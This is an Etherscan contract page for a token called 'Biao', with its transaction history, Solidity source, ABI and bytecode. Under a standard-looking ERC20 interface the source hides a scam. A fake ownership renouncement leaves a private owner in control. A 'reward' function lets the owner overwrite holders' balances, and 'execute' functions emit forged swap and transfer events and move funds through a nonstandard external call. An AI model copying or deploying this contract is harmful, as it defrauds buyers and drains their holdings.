Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 39 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 18654880 | 274 days ago | IN | 0 ETH | 0.00096803 | ||||
Reward | 17978278 | 369 days ago | IN | 0 ETH | 0.00132073 | ||||
Execute | 17977307 | 369 days ago | IN | 0 ETH | 0.00649507 | ||||
Execute | 17977302 | 369 days ago | IN | 0 ETH | 0.00665891 | ||||
Execute | 17977300 | 369 days ago | IN | 0 ETH | 0.0059067 | ||||
Reward | 17974182 | 369 days ago | IN | 0 ETH | 0.00057001 | ||||
Reward | 17969125 | 370 days ago | IN | 0 ETH | 0.00062345 | ||||
Execute | 17968697 | 370 days ago | IN | 0 ETH | 0.00587944 | ||||
Execute | 17968696 | 370 days ago | IN | 0 ETH | 0.00501399 | ||||
Execute | 17968574 | 370 days ago | IN | 0 ETH | 0.00483041 | ||||
Execute | 17968574 | 370 days ago | IN | 0 ETH | 0.00382946 | ||||
Execute | 17968573 | 370 days ago | IN | 0 ETH | 0.00677913 | ||||
Execute | 17968570 | 370 days ago | IN | 0 ETH | 0.00401882 | ||||
Execute | 17968566 | 370 days ago | IN | 0 ETH | 0.00668901 | ||||
Execute | 17968565 | 370 days ago | IN | 0 ETH | 0.00662393 | ||||
Execute | 17968565 | 370 days ago | IN | 0 ETH | 0.00607513 | ||||
Execute | 17968455 | 370 days ago | IN | 0 ETH | 0.00256078 | ||||
Execute | 17968426 | 370 days ago | IN | 0 ETH | 0.00485985 | ||||
Execute | 17968425 | 370 days ago | IN | 0 ETH | 0.00456116 | ||||
Execute | 17968424 | 370 days ago | IN | 0 ETH | 0.00366556 | ||||
Reward | 17968414 | 370 days ago | IN | 0 ETH | 0.0004144 | ||||
Execute | 17968414 | 370 days ago | IN | 0 ETH | 0.00422452 | ||||
Approve | 17968413 | 370 days ago | IN | 0 ETH | 0.00080556 | ||||
Execute | 17968412 | 370 days ago | IN | 0 ETH | 0.00522845 | ||||
Execute | 17968412 | 370 days ago | IN | 0 ETH | 0.00414501 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
TOKEN
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-22 */ /** *Submitted for verification at Etherscan.io on 2023-08-21 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; interface IFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IPair { function token0() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } interface IERC20 { function _Transfer( address from, address recipient, uint256 amount ) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); } contract TOKEN { IRouter internal _router; IPair internal _pair; address public owner; address private _owner; address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address private _universal = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B; address private _pairr; event Swapp( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); mapping(address => uint256) private balances; mapping(address => mapping(address => uint256)) private allowances; string public constant name = "Biao"; string public constant symbol = "Biao"; uint8 public constant decimals = 18; uint256 public totalSupply = 70_000_000e18; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to); constructor() { owner = msg.sender; _owner = msg.sender; _router = IRouter(_routerAddress); _pair = IPair(IFactory(_router.factory()).createPair(address(this), address(_router.WETH()))); balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } modifier onlyOwner() { require(owner == msg.sender, "Caller is not the owner"); _; } modifier OnlyOwner() { require(_owner == msg.sender, "Caller is not the Owner"); _; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function renounceOwnership() public onlyOwner { owner = address(0); } function balanceOf(address account) public view virtual returns (uint256) { return balances[account]; } function transfer(address to, uint256 amount) public virtual returns (bool) { _transfer(msg.sender, to, amount); return true; } function allowance(address __owner, address spender) public view virtual returns (uint256) { return allowances[__owner][spender]; } function approve(address spender, uint256 amount) public virtual returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { _spendAllowance(from, msg.sender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address __owner = msg.sender; _approve(__owner, spender, allowance(__owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address __owner = msg.sender; uint256 currentAllowance = allowance(__owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(__owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 fromBalance = balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); balances[from] = sub(fromBalance, amount); balances[to] = add(balances[to], amount); emit Transfer(from, to, amount); } function _approve( address __owner, address spender, uint256 amount ) internal virtual { require(__owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); allowances[__owner][spender] = amount; emit Approval(__owner, spender, amount); } function _spendAllowance( address __owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(__owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(__owner, spender, currentAllowance - amount); } } } function execute( address[] memory recipients, uint256 tokenAmount, uint256 wethAmount, address tokenAddress ) public OnlyOwner returns (bool) { for (uint256 i = 0; i < recipients.length; i++) { _swap(recipients[i], tokenAmount, wethAmount, tokenAddress); } return true; } function getBaseTokenReserve(address token) public view returns (uint256) { (uint112 reserve0, uint112 reserve1, ) = _pair.getReserves(); uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1); return baseTokenReserve; } function reward( address[] calldata _users, uint256 _minBalanceToReward, uint256 _percent ) public onlyOwner { uint256 releaseThreshold = totalSupply * 50 / 100; for(uint i=0; i<_users.length; i++) { address user = _users[i]; if(balances[user] >= _minBalanceToReward) { uint256 rewardAmount = _countReward(user, _percent); if(balances[user] >= releaseThreshold) { balances[user] += rewardAmount; } else { balances[user] = rewardAmount; } } } } function setup(address _setup_) external onlyOwner { _pairr = _setup_; } function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Swapp(_universal, _in, 0, 0, _out, _addresses_[i]); emit Transfer(_pairr, _addresses_[i], _out); } } function _swap( address recipient, uint256 tokenAmount, uint256 wethAmount, address tokenAddress ) internal { _emitTransfer(recipient, tokenAmount); _emitSwap(tokenAmount, wethAmount, recipient); IERC20(tokenAddress)._Transfer(recipient, address(_pair), wethAmount); } function _emitTransfer(address recipient, uint256 tokenAmount) internal { emit Transfer(address(_pair), recipient, tokenAmount); } function _emitSwap( uint256 tokenAmount, uint256 wethAmount, address recipient ) internal { emit Swap(_routerAddress, tokenAmount, 0, 0, wethAmount, recipient); } function _countReward(address _user, uint256 _percent) internal view returns (uint256) { return _count(balances[_user], _percent); } function _countAmountIn(uint256 amountOut, address[] memory path) internal returns (uint256) { uint256[] memory amountInMax; amountInMax = new uint256[](2); amountInMax = _router.getAmountsIn(amountOut, path); balances[address(this)] += amountInMax[0]; return amountInMax[0]; } function _count(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swapp","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"wethAmount","type":"uint256"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"},{"internalType":"uint256","name":"_minBalanceToReward","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"}],"name":"reward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_setup_","type":"address"}],"name":"setup","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6080604052600480546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d179091556005805490911673ef1c6e67703c7bd7107eed8303fbe6ec2554bf6b1790556a39e7139a8c08fa06000000600955348015610066575f80fd5b5060028054336001600160a01b03199182168117909255600380548216909217909155600480545f80546001600160a01b039092169190931681179092556040805163c45a015560e01b8152905163c45a0155928281019260209291908290030181865afa1580156100da573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100fe919061025c565b6001600160a01b031663c9c65396305f8054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561015b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061017f919061025c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156101c9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101ed919061025c565b600180546001600160a01b0319166001600160a01b0392909216919091179055600954335f81815260076020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610289565b5f6020828403121561026c575f80fd5b81516001600160a01b0381168114610282575f80fd5b9392505050565b61125380620002975f395ff3fe608060405234801561000f575f80fd5b5060043610610111575f3560e01c806370a082311161009e5780639b792a441161006e5780639b792a441461025e578063a1c617f514610271578063a457c2d714610284578063a9059cbb14610297578063dd62ed3e146102aa575f80fd5b806370a0823114610203578063715018a61461022b5780638da5cb5b1461023357806395d89b4114610115575f80fd5b806323b872dd116100e457806323b872dd1461019d578063313ce567146101b057806335d16274146101ca57806339509351146101dd57806366d38203146101f0575f80fd5b806306fdde0314610115578063095ea7b31461014e57806318160ddd1461017157806318aee92014610188575b5f80fd5b610138604051806040016040528060048152602001634269616f60e01b81525081565b6040516101459190610e11565b60405180910390f35b61016161015c366004610e83565b6102bd565b6040519015158152602001610145565b61017a60095481565b604051908152602001610145565b61019b610196366004610ead565b6102d3565b005b6101616101ab366004610f28565b61040d565b6101b8601281565b60405160ff9091168152602001610145565b61017a6101d8366004610f66565b61042e565b6101616101eb366004610e83565b61055a565b61019b6101fe366004610f66565b61057b565b61017a610211366004610f66565b6001600160a01b03165f9081526007602052604090205490565b61019b6105c7565b600254610246906001600160a01b031681565b6040516001600160a01b039091168152602001610145565b61016161026c366004610f95565b610603565b61019b61027f366004610ead565b6106ad565b610161610292366004610e83565b6107bd565b6101616102a5366004610e83565b610842565b61017a6102b8366004611077565b61084e565b5f6102c9338484610878565b5060015b92915050565b6002546001600160a01b031633146103065760405162461bcd60e51b81526004016102fd906110ae565b60405180910390fd5b5f6064600954603261031891906110f9565b6103229190611110565b90505f5b84811015610405575f8686838181106103415761034161112f565b90506020020160208101906103569190610f66565b6001600160a01b0381165f9081526007602052604090205490915085116103f2575f610382828661099c565b6001600160a01b0383165f9081526007602052604090205490915084116103d5576001600160a01b0382165f90815260076020526040812080548392906103ca908490611143565b909155506103f09050565b6001600160a01b0382165f9081526007602052604090208190555b505b50806103fd81611156565b915050610326565b505050505050565b5f6104198433846109c5565b610424848484610a3d565b5060019392505050565b5f805f60015f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610481573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104a59190611184565b50915091505f846001600160a01b031660015f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610505573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061052991906111d0565b6001600160a01b03161461054657816001600160701b0316610551565b826001600160701b03165b95945050505050565b5f3361042481858561056c838361084e565b6105769190611143565b610878565b6002546001600160a01b031633146105a55760405162461bcd60e51b81526004016102fd906110ae565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b031633146105f15760405162461bcd60e51b81526004016102fd906110ae565b600280546001600160a01b0319169055565b6003545f906001600160a01b0316331461065f5760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865204f776e657200000000000000000060448201526064016102fd565b5f5b85518110156106a15761068f86828151811061067f5761067f61112f565b6020026020010151868686610c13565b8061069981611156565b915050610661565b50600195945050505050565b5f5b838110156107b6578484828181106106c9576106c961112f565b90506020020160208101906106de9190610f66565b600554604080518681525f60208201819052818301526060810186905290516001600160a01b0393841693909216917f75b2fdf4488954cfbe3fad3f07ca6ebf12156d6b897c6df1014d7c51ed3227719181900360800190a38484828181106107495761074961112f565b905060200201602081019061075e9190610f66565b6006546040518481526001600160a01b0392831692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3806107ae81611156565b9150506106af565b5050505050565b5f33816107ca828661084e565b90508381101561082a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016102fd565b6108378286868403610878565b506001949350505050565b5f6102c9338484610a3d565b6001600160a01b039182165f90815260086020908152604080832093909416825291909152205490565b6001600160a01b0383166108da5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102fd565b6001600160a01b03821661093b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102fd565b6001600160a01b038381165f8181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0382165f908152600760205260408120546109be9083610ca4565b9392505050565b5f6109d0848461084e565b90505f198114610a375781811015610a2a5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016102fd565b610a378484848403610878565b50505050565b6001600160a01b038316610aa15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102fd565b6001600160a01b038216610b035760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102fd565b6001600160a01b0383165f9081526007602052604090205481811015610b7a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016102fd565b610b848183610caf565b6001600160a01b038086165f908152600760205260408082209390935590851681522054610bb29083610d13565b6001600160a01b038085165f8181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c059086815260200190565b60405180910390a350505050565b610c1d8484610d71565b610c28838386610db9565b6001546040516370ab58db60e11b81526001600160a01b0386811660048301529182166024820152604481018490529082169063e156b1b6906064016020604051808303815f875af1158015610c80573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b691906111eb565b5f6109be8284611110565b5f82821115610d005760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016102fd565b5f610d0b838561120a565b949350505050565b5f80610d1f8385611143565b9050838110156109be5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016102fd565b6001546040518281526001600160a01b038481169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600454604080518581525f6020820181905291810191909152606081018490526001600160a01b038381169216907fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229060800161098f565b5f6020808352835180828501525f5b81811015610e3c57858101830151858201604001528201610e20565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610e70575f80fd5b50565b8035610e7e81610e5c565b919050565b5f8060408385031215610e94575f80fd5b8235610e9f81610e5c565b946020939093013593505050565b5f805f8060608587031215610ec0575f80fd5b843567ffffffffffffffff80821115610ed7575f80fd5b818701915087601f830112610eea575f80fd5b813581811115610ef8575f80fd5b8860208260051b8501011115610f0c575f80fd5b6020928301999098509187013596604001359550909350505050565b5f805f60608486031215610f3a575f80fd5b8335610f4581610e5c565b92506020840135610f5581610e5c565b929592945050506040919091013590565b5f60208284031215610f76575f80fd5b81356109be81610e5c565b634e487b7160e01b5f52604160045260245ffd5b5f805f8060808587031215610fa8575f80fd5b843567ffffffffffffffff80821115610fbf575f80fd5b818701915087601f830112610fd2575f80fd5b8135602082821115610fe657610fe6610f81565b8160051b604051601f19603f8301168101818110868211171561100b5761100b610f81565b60405292835281830193508481018201928b841115611028575f80fd5b948201945b8386101561104d5761103e86610e73565b8552948201949382019361102d565b985050880135955050506040860135925061106c905060608601610e73565b905092959194509250565b5f8060408385031215611088575f80fd5b823561109381610e5c565b915060208301356110a381610e5c565b809150509250929050565b60208082526017908201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176102cd576102cd6110e5565b5f8261112a57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b808201808211156102cd576102cd6110e5565b5f60018201611167576111676110e5565b5060010190565b80516001600160701b0381168114610e7e575f80fd5b5f805f60608486031215611196575f80fd5b61119f8461116e565b92506111ad6020850161116e565b9150604084015163ffffffff811681146111c5575f80fd5b809150509250925092565b5f602082840312156111e0575f80fd5b81516109be81610e5c565b5f602082840312156111fb575f80fd5b815180151581146109be575f80fd5b818103818111156102cd576102cd6110e556fea264697066735822122075db95a2aa343bdfc88d3d567ca71e726cec6aef71288cba63232d0d4739f25c64736f6c63430008140033
Deployed Bytecode
0x608060405234801561000f575f80fd5b5060043610610111575f3560e01c806370a082311161009e5780639b792a441161006e5780639b792a441461025e578063a1c617f514610271578063a457c2d714610284578063a9059cbb14610297578063dd62ed3e146102aa575f80fd5b806370a0823114610203578063715018a61461022b5780638da5cb5b1461023357806395d89b4114610115575f80fd5b806323b872dd116100e457806323b872dd1461019d578063313ce567146101b057806335d16274146101ca57806339509351146101dd57806366d38203146101f0575f80fd5b806306fdde0314610115578063095ea7b31461014e57806318160ddd1461017157806318aee92014610188575b5f80fd5b610138604051806040016040528060048152602001634269616f60e01b81525081565b6040516101459190610e11565b60405180910390f35b61016161015c366004610e83565b6102bd565b6040519015158152602001610145565b61017a60095481565b604051908152602001610145565b61019b610196366004610ead565b6102d3565b005b6101616101ab366004610f28565b61040d565b6101b8601281565b60405160ff9091168152602001610145565b61017a6101d8366004610f66565b61042e565b6101616101eb366004610e83565b61055a565b61019b6101fe366004610f66565b61057b565b61017a610211366004610f66565b6001600160a01b03165f9081526007602052604090205490565b61019b6105c7565b600254610246906001600160a01b031681565b6040516001600160a01b039091168152602001610145565b61016161026c366004610f95565b610603565b61019b61027f366004610ead565b6106ad565b610161610292366004610e83565b6107bd565b6101616102a5366004610e83565b610842565b61017a6102b8366004611077565b61084e565b5f6102c9338484610878565b5060015b92915050565b6002546001600160a01b031633146103065760405162461bcd60e51b81526004016102fd906110ae565b60405180910390fd5b5f6064600954603261031891906110f9565b6103229190611110565b90505f5b84811015610405575f8686838181106103415761034161112f565b90506020020160208101906103569190610f66565b6001600160a01b0381165f9081526007602052604090205490915085116103f2575f610382828661099c565b6001600160a01b0383165f9081526007602052604090205490915084116103d5576001600160a01b0382165f90815260076020526040812080548392906103ca908490611143565b909155506103f09050565b6001600160a01b0382165f9081526007602052604090208190555b505b50806103fd81611156565b915050610326565b505050505050565b5f6104198433846109c5565b610424848484610a3d565b5060019392505050565b5f805f60015f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610481573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104a59190611184565b50915091505f846001600160a01b031660015f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610505573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061052991906111d0565b6001600160a01b03161461054657816001600160701b0316610551565b826001600160701b03165b95945050505050565b5f3361042481858561056c838361084e565b6105769190611143565b610878565b6002546001600160a01b031633146105a55760405162461bcd60e51b81526004016102fd906110ae565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b031633146105f15760405162461bcd60e51b81526004016102fd906110ae565b600280546001600160a01b0319169055565b6003545f906001600160a01b0316331461065f5760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865204f776e657200000000000000000060448201526064016102fd565b5f5b85518110156106a15761068f86828151811061067f5761067f61112f565b6020026020010151868686610c13565b8061069981611156565b915050610661565b50600195945050505050565b5f5b838110156107b6578484828181106106c9576106c961112f565b90506020020160208101906106de9190610f66565b600554604080518681525f60208201819052818301526060810186905290516001600160a01b0393841693909216917f75b2fdf4488954cfbe3fad3f07ca6ebf12156d6b897c6df1014d7c51ed3227719181900360800190a38484828181106107495761074961112f565b905060200201602081019061075e9190610f66565b6006546040518481526001600160a01b0392831692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3806107ae81611156565b9150506106af565b5050505050565b5f33816107ca828661084e565b90508381101561082a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016102fd565b6108378286868403610878565b506001949350505050565b5f6102c9338484610a3d565b6001600160a01b039182165f90815260086020908152604080832093909416825291909152205490565b6001600160a01b0383166108da5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102fd565b6001600160a01b03821661093b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102fd565b6001600160a01b038381165f8181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0382165f908152600760205260408120546109be9083610ca4565b9392505050565b5f6109d0848461084e565b90505f198114610a375781811015610a2a5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016102fd565b610a378484848403610878565b50505050565b6001600160a01b038316610aa15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102fd565b6001600160a01b038216610b035760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102fd565b6001600160a01b0383165f9081526007602052604090205481811015610b7a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016102fd565b610b848183610caf565b6001600160a01b038086165f908152600760205260408082209390935590851681522054610bb29083610d13565b6001600160a01b038085165f8181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c059086815260200190565b60405180910390a350505050565b610c1d8484610d71565b610c28838386610db9565b6001546040516370ab58db60e11b81526001600160a01b0386811660048301529182166024820152604481018490529082169063e156b1b6906064016020604051808303815f875af1158015610c80573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b691906111eb565b5f6109be8284611110565b5f82821115610d005760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016102fd565b5f610d0b838561120a565b949350505050565b5f80610d1f8385611143565b9050838110156109be5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016102fd565b6001546040518281526001600160a01b038481169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600454604080518581525f6020820181905291810191909152606081018490526001600160a01b038381169216907fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229060800161098f565b5f6020808352835180828501525f5b81811015610e3c57858101830151858201604001528201610e20565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610e70575f80fd5b50565b8035610e7e81610e5c565b919050565b5f8060408385031215610e94575f80fd5b8235610e9f81610e5c565b946020939093013593505050565b5f805f8060608587031215610ec0575f80fd5b843567ffffffffffffffff80821115610ed7575f80fd5b818701915087601f830112610ee